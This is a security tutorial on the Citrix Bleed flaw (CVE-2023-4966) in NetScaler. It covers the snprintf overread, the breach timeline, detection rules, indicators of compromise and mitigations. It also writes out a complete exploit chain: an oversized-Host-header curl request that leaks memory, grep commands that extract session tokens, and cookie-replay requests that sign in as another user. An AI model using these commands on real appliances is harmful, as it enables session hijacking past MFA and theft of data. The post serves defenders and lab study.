tutorials · 8 min read
Citrix Bleed: the buffer overread that steals the session
CVE-2023-4966 lets you read ~63 KB of NetScaler memory with a single HTTP request carrying an oversized Host header. Among the data: active session tokens. The attacker replays them and walks in as a valid user — no MFA. Boeing, ICBC, Comcast and more fall between October and November.
· Manuel López Pérez · tutorials

On 10 October 2023, Citrix publishes an advisory for CVE-2023-4966 in NetScaler ADC and Gateway. Information disclosure, CVSS 9.4. The industry christens it informally — and fast — Citrix Bleed, by analogy with Heartbleed: both are buffer overread, both leak adjacent process memory, both expose the worst kind of secrets. Heartbleed leaked private keys; Citrix Bleed leaks active session tokens.
By month-end the pattern is clear: the attacker makes an unauthenticated HTTP request, receives session tokens belonging to other users currently signed in, and replays them. MFA doesn’t help — the session is already authenticated. Boeing confirms on 1 November. ICBC US falls on 8 November with knock-on effect on US Treasury settlement. Comcast Xfinity notifies 35.7 million accounts in December. Allen & Overy, DP World Australia, several US states, federal agencies.
Mandiant confirms in-the-wild exploitation since late August — six weeks before the patch.
Lab: Assetnote public PoC reproducible against a vulnerable NetScaler image in a closed lab. Not sent against production appliances.
The bug — snprintf returning the unwritten size
The vulnerable function, per the RE published by Assetnote, sits in the NetScaler library that serves the OpenID Discovery endpoint:
// Reconstructed from Assetnote on nsppe / libns_aaa_oauthrp.so
// (NetScaler 13.1-48.47, function ns_aaa_oauthrp_send_openid_config)
char resp_buf[0x20000]; // 131072 bytes on stack
const char *host = req_get_header(req, "Host");
int n = snprintf(resp_buf, sizeof resp_buf,
"{\"issuer\":\"https://%s/oauth/idp\","
"\"authorization_endpoint\":\"https://%s/oauth/idp/login\","
/* ...more fields that repeat %s with host... */
"}", host, host, host, host, host, host);
ns_vpn_send_response(req, resp_buf, n); // ← sends n bytessnprintf returns the number of bytes it would have written if the buffer had been large enough — not the number it actually wrote. If host is long (several tens of KB), the resulting string exceeds 0x20000 (131072) and snprintf truncates the write but returns the full size. The next call sends n bytes from resp_buf — the first 0x20000 are the truncated response, the rest are bytes adjacent to the buffer on the stack/heap.
What lives near the buffer in nsppe:
- Request buffers of other clients active on the same worker (cookies, headers, POST body).
NSC_AAACsession tokens of authenticated users.- Fragments of SAML assertions, JWT bearer tokens.
- Heap memory holding strings that have been
freed but not zero-filled.
The patch (13.1-49.15 and backports) changes the send call to use MIN(n, sizeof resp_buf) so it never returns more bytes than were actually written.
The request that triggers the leak
Assetnote publishes the concrete PoC on 26 October 2023. Exact Host size needed to force the overflow: ~24,812 bytes of path-equivalent which, multiplied by the 6 %s expansions in the template, exceeds 0x20000:
HOST_OVERFLOW=$(python3 -c "print('A' * 24812)")
curl -k --max-time 10 \
-H "Host: $HOST_OVERFLOW" \
"https://target.netscaler.test/oauth/idp/.well-known/openid-configuration" \
-o leak.bin
ls -la leak.bin
# -rw-r--r-- 1 user user 65304 ... leak.bin ← ~64KB responseThe response is the truncated JSON followed by adjacent memory. Search for NSC_AAAC tokens (64 hex chars + 2 dash-separated halves):
strings leak.bin | grep -oE '[a-f0-9]{32}\.[a-f0-9]{32}' | sort -u
# 59d2be99be7a01c9fb10110f42b18867.0c3a01f2245525d5f4f58455e445a4a42
# 8f3e1a7b9c4d5e6f1a2b3c4d5e6f7a8b.9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f
# ...
# Other exposed cookie/header variants:
strings leak.bin | grep -E 'NSC_AAAC=|sessionId=|Authorization:' | headEach token observed corresponds to a session active at the moment of the request — SSL VPN, OAuth, Citrix Workspace users.
Replaying the token
With a valid token, the attacker drops it in their browser and signs in as that user:
TOKEN='59d2be99be7a01c9fb10110f42b18867.0c3a01f2245525d5f4f58455e445a4a42'
# 1) VPN endpoint — active SSL VPN session
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
"https://target.netscaler.test/vpn/index.html"
# → 200 OK, published applications page
# 2) Citrix Workspace — remote apps
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
"https://target.netscaler.test/cgi/login?username=&password="
# → authenticated as the user that owns the tokenCritical point: the normal flow requires username + password + MFA. The token bypasses all three — it is an authenticated session. Resetting the password doesn’t invalidate the token. Only kill aaa session from the CLI or a user logout closes the session.
Most organisations that patched on 10-11 October didn’t rotate sessions until Mandiant’s guidance on 17 October. In that window, attackers holding tokens stolen pre-patch kept walking in.
Timeline
- Late August 2023: Mandiant identifies first in-the-wild cases. Preliminary attribution to several clusters, no single pattern.
- 10 October: Citrix publishes advisory and patch. Initial recommendation: patch.
- 17 October: Mandiant publishes guidance — beyond patching, terminate all active sessions because the patch doesn’t invalidate tokens stolen before 10 October.
- 23 October: Citrix amplifies Mandiant’s recommendation.
- 26 October: Assetnote publishes public PoC (oversized Host header).
- Late October – November: mass exploitation by multiple actors. LockBit very active.
- 1 November: Boeing confirms compromise (LockBit lists it on their portal).
- 8 November: ICBC US confirms compromise with impact on US Treasury settlement.
- December 2023: Comcast Xfinity notifies 35.7M accounts, same vector.
Detection
NetScaler-side — limit on Host header
The most direct one: WAF / reverse proxy rule in front of the NetScaler that rejects Host: headers longer than 1 KB on /oauth/idp/.*. No legitimate case needs a long Host.
ModSecurity rule:
SecRule REQUEST_HEADERS:Host "@gt 1024" \
"id:1004966,phase:1,deny,status:400,log,\
msg:'CVE-2023-4966 Citrix Bleed — oversized Host header',\
tag:'cve/2023-4966',tag:'attack-info-leak'"Suricata / Snort
alert http any any -> $NETSCALER any (msg:"CITRIX BLEED CVE-2023-4966 oversized Host header to OAuth endpoint";
http.uri; content:"/oauth/idp/.well-known/openid-configuration"; nocase;
http.host; isdataat:1024;
reference:cve,2023-4966;
classtype:attempted-recon; sid:90234966; rev:2;)KQL — Sentinel / Defender
// 1) Requests with oversized Host header (> 1KB) to /oauth/idp/
CommonSecurityLog
| where Timestamp > ago(180d)
| where DeviceVendor =~ "Citrix" or DeviceProduct in~ ("NetScaler","ADC","Gateway")
| where RequestURL has "/oauth/idp/.well-known/openid-configuration"
| where strlen(coalesce(SourceHostName, RequestClientApplication, "")) > 1024
| project Timestamp, SourceIP, RequestURL, DeviceName
// 2) Session resumed without a prior auth event in 24h
let session_events = SecurityEvent
| where TimeGenerated > ago(180d)
| where EventID == 4624 and LogonType == 3
| where TargetUserName !startswith "anonymous" and TargetUserName !endswith "$";
let auth_events = SecurityEvent
| where TimeGenerated > ago(180d)
| where EventID == 4768 // Kerberos TGT issued (real login)
| project AuthTime=TimeGenerated, TargetUserName;
session_events
| join kind=leftouter auth_events on TargetUserName
| where AuthTime < TimeGenerated - 24h or isnull(AuthTime)
| project TimeGenerated, Computer, TargetUserName, IpAddressSigma — session resumed from new IP
title: Citrix Bleed Session Token Reuse from New IP
id: 8e1f0c4d-3a8b-4cdd-bf7a-2e4a6c7d8e9f
status: stable
references:
- https://cloud.google.com/blog/topics/threat-intelligence/session-hijacking-citrix-cve-2023-4966
logsource:
product: citrix
service: netscaler
detection:
selection:
EventID: 'AAA_SESSION_ESTABLISHED'
new_context:
SourceCountry|not: '{baseline_user_country}'
no_prior_auth:
not_present_in_prior_24h: AAA_LOGIN_SUCCESS
condition: selection and (new_context or no_prior_auth)
level: highPost-exploitation IoCs published by Mandiant
| Type | Indicator | Notes |
|---|---|---|
| MD5 | eb842a9509dece779d138d2e6b0f6949 | FREEFIRE .NET backdoor (C2 via Slack) |
| Filename | e.exe, d.dll | Credential harvester (loader + DLL) |
| Filename | sh3.exe | Mimikatz LSADUMP |
| Filename | 7.exe | 7-zip portable (staging/exfil) |
| Filename | netscan.exe | SoftPerfect NetScan (lateral recon) |
| Legit RMM abused | Atera, AnyDesk, SplashTop | ”Legitimate” persistence after initial compromise |
CISA in AA23-325A adds LockBit-specific IoCs using Citrix Bleed.
Reproduction in a lab
# Setup: NetScaler ADC VPX in VMware with build < 13.1-49.15.
# The NSVPX image is available to Citrix customers under contract.
# Enable the OAuth IDP portal on a test vIP.
# 1) Confirm vulnerable version from the appliance CLI:
# show ns version
# -> NetScaler NS13.1: Build 48.47
# 2) Trigger the leak — adjust size until the response exceeds 32KB
for SIZE in 16000 20000 22000 24000 24812 25000; do
RESP=$(curl -k --max-time 5 \
-H "Host: $(python3 -c "print('A'*$SIZE)")" \
"https://lab-netscaler.local/oauth/idp/.well-known/openid-configuration" \
-o /tmp/leak.bin -w "%{size_download}")
echo "size=$SIZE response_bytes=$RESP"
done
# Effective size in lab: 24812 bytes per Assetnote.
# 3) Extract cookies from the response
strings /tmp/leak.bin | grep -oE 'NSC_AAAC=[A-Za-z0-9\.\-]+' | sort -u
# 4) Validate the token against the UI
TOKEN=...
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
"https://lab-netscaler.local/vpn/index.html"
# If it returns the published apps page, the bleed workedMitigations, in order
- Patch to 14.1-8.50, 13.1-49.15, 13.0-92.19, or equivalent on NetScaler Cloud.
- Terminate ALL active sessions after patching:
Otherwise, tokens stolen before the patch keep working.> kill aaa session -all > kill icaconnection -all > kill pcoipConnection -all > kill rdpConnection -all - Rotate credentials for any user with an active session during the exposure window.
- Block external SSL VPN during the patch if there is no way to migrate traffic to another door.
- Audit AD logs for logons from unprecedented sessions.
- After the incident: move the VPN portal behind a central IDP (Okta, Entra ID) with device posture check. That turns stolen tokens into junk because the next authentication to the IDP detects the changed device fingerprint.
Lessons
- Buffer overreads aren’t history. Heartbleed (2014), Cloudbleed (2017), Citrix Bleed (2023), Citrix Bleed 2 (2025). In large enterprise products the bug keeps coming back. The reason is the same: C/C++ and legacy code that predates the memory-safe era.
- The patch isn’t the full mitigation. A bug that exposes state (sessions, keys) requires rotating the state in addition to patching. That second part gets systematically forgotten.
- MFA doesn’t protect post-auth. All the corporate MFA investment is nullified when the attacker steals the session after login. The defence is session-bound device posture or continuous evaluation of the session — available in Entra ID, modern Okta, not in NetScaler standalone.
- Citrix is still perimeter. Second critical pre-auth zero-day of the year after CVE-2023-3519 in July. For 2024 the operational question is: is there an alternative? Modern Zero Trust Network Access is maturing enough to replace traditional SSL VPN.
References
- Citrix advisory CVE-2023-4966: https://support.citrix.com/article/CTX579459
- Mandiant, Investigation of Session Hijacking via Citrix NetScaler ADC and Gateway Vulnerability: https://cloud.google.com/blog/topics/threat-intelligence/session-hijacking-citrix-cve-2023-4966/
- CISA guidance: https://www.cisa.gov/guidance-addressing-citrix-netscaler-adc-and-gateway-vulnerability-cve-2023-4966-citrix-bleed
- Assetnote technical write-up with PoC and function RE: https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
- Watchtowr Labs analysis: https://labs.watchtowr.com/the-pain-of-patching-citrix-bleed-2-cve-2023-4966/
- Public PoC (Chocapikk): https://github.com/Chocapikk/CVE-2023-4966
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-4966


